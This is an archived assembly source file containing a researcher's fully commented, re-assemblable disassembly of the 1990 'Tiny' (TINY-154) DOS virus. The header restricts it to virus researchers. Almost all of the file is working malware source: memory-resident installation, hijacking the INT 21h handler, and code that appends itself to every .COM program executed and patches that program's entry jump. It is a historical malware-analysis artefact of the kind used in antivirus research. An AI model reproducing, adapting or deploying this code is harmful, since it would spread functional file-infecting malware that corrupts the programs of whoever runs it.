home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TINY-154.ASM < prev    next >
Assembly Source File  |  1990-09-15  |  4KB  |  182 lines

  1.     page    ,132
  2.     name    TINY154
  3.     title    The 'Tiny' virus, version TINY-154
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║             The 'Tiny' Virus, version TINY-154                  ║
  11. ; ║         Disassembled by Vesselin Bontchev, September 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. seg_60    equ    600
  27. v_len    equ    v_end-first4
  28.  
  29. start:
  30.     jmp    v_entry     ; Jump to virus code
  31.     db    'M'             ; Virus signature
  32.     mov    ax,4C00     ; Program terminate
  33.     int    21
  34.  
  35. ; The original first 4 bytes of the infected file:
  36.  
  37. first4    db    0EBh, 2, 90, 90
  38.  
  39. v_entry:
  40.     mov    si,0FF        ; Determine the start addres of the virus body
  41.     add    si,[si+2]
  42.  
  43.     mov    di,offset start ; Put the addres of program start on the stack
  44.     push    di        ; Now a Near RET instruction will jump there
  45.  
  46.     push    ax        ; Save AX (to keep programs as DISKCOPY happy)
  47.  
  48.     movsw            ; Restore the original first 4 bytes
  49.     movsw
  50.  
  51.     mov    di,seg_60+4    ; Point ES:DI at 0000:0604h (i.e, segment 60h)
  52.     xor    cx,cx        ; ES := 0
  53.     mov    es,cx
  54.     mov    cl,v_len-2    ; CX := virus length
  55.     lodsw            ; Check if virus is present in memory
  56.     scasw
  57.     je    run        ; Just run the program if so
  58.  
  59. ; Virus not in memory. Install it there:
  60.  
  61.     dec    di        ; Adjust DI
  62.     dec    di
  63.     stosw            ; Store the first word of the virus body
  64.     rep    movsb        ; Store the rest of the virus
  65.  
  66.     mov    di,32*4     ; Old INT 21h handler will be moved to INT 32h
  67.     mov    ax,int_21-first4+seg_60
  68.  
  69. ; Move the INT 21h handler to INT 32h and
  70. ; install int_21 as new INT 21h handler:
  71.  
  72.     xchg    ax,cx
  73. vect_cpy:
  74.     xchg    ax,cx
  75.     xchg    ax,word ptr es:[di-(32-21)*4]
  76.     stosw
  77.     jcxz    vect_cpy    ; Loop until done
  78.  
  79. run:
  80.     pop    ax        ; Restore AX
  81.     push    ds        ; ES := DS
  82.     pop    es
  83.  
  84. ; Jump to program start via funny RET instruction:
  85.  
  86.     ret
  87.  
  88. int_21:             ; New INT 21h handler
  89.     cmp    ax,4B00     ; EXEC function call?
  90.     jne    end_21        ; Exit if not
  91.  
  92.     push    ax        ; Save registers used
  93.     push    bx
  94.     push    cx
  95.     push    dx
  96.     push    di
  97.     push    ds
  98.     push    es
  99.  
  100.     push    cs        ; ES := CS
  101.     pop    es
  102.  
  103.     mov    ax,3D02     ; Open the file for both reading and writting
  104.     int    32
  105.     jc    end_exec    ; Exit on error
  106.     xchg    ax,bx        ; Save the file handle in BX
  107.  
  108.     call    lseek1
  109.  
  110.     mov    ah,3F        ; Read the first 4 bytes of the file
  111.     mov    di,dx        ; Save first4 address in DI
  112.     push    cs        ; DS := CS
  113.     pop    ds
  114.     int    32        ; Do it
  115.  
  116. ; Check whether the file is already infected or is an .EXE file.
  117. ; The former contains the character `M' in its 3rd byte and
  118. ; the latter contains it either in the 0th or in the 1st byte.
  119.  
  120.     push    di        ; Save DI
  121.     mov    al,'M'          ; Look for `M'
  122.     repne    scasb
  123.     pop    di        ; Restore DI
  124.     je    close        ; Exit if file not suitable for infection
  125.  
  126.     mov    al,2        ; Seek to the end of file
  127.     call    lseek
  128.  
  129.     push    ax        ; Save file length
  130.  
  131.     mov    cl,v_len    ; Length of virus body
  132.     mov    ah,40        ; Append virus to file
  133.     int    32        ; Do it
  134.  
  135.     call    lseek1        ; Seek to the file beginning
  136.  
  137.     mov    al,0E9        ; Near JMP opcode
  138.     stosb            ; Form the first instruction of the file
  139.     pop    ax        ; Restore file length in AX
  140.     inc    ax
  141.     stosw            ; Form the JMP's opperand
  142.     mov    al,'M'          ; Add a `M' character to mark the file
  143.     stosb            ;  as infected
  144.  
  145.     mov    ah,40
  146.     int    32        ; Do it
  147.  
  148. close:
  149.     mov    ah,3E        ; Close the file
  150.     int    32
  151.  
  152. end_exec:
  153.     pop    es        ; Restore used registers
  154.     pop    ds
  155.     pop    di
  156.     pop    dx
  157.     pop    cx
  158.     pop    bx
  159.     pop    ax
  160.  
  161. ; Exit through the original INT 21h handler:
  162.  
  163. end_21:
  164.     jmp    dword ptr cs:[32*4]
  165.  
  166. lseek1:
  167.     mov    al,0        ; Lseek to file beginning
  168. lseek:
  169.     mov    ah,42        ; Lseek either to file beginning or to file end
  170.     xor    cx,cx
  171.     xor    dx,dx
  172.     int    32        ; Do it
  173.  
  174.     mov    dh,6        ; Put 6 in DH and 4 in CL
  175.     mov    cl,4
  176.     ret            ; Done
  177.  
  178. v_end    equ    $        ; End of virus body
  179.  
  180. code    ends
  181.     end    start
  182.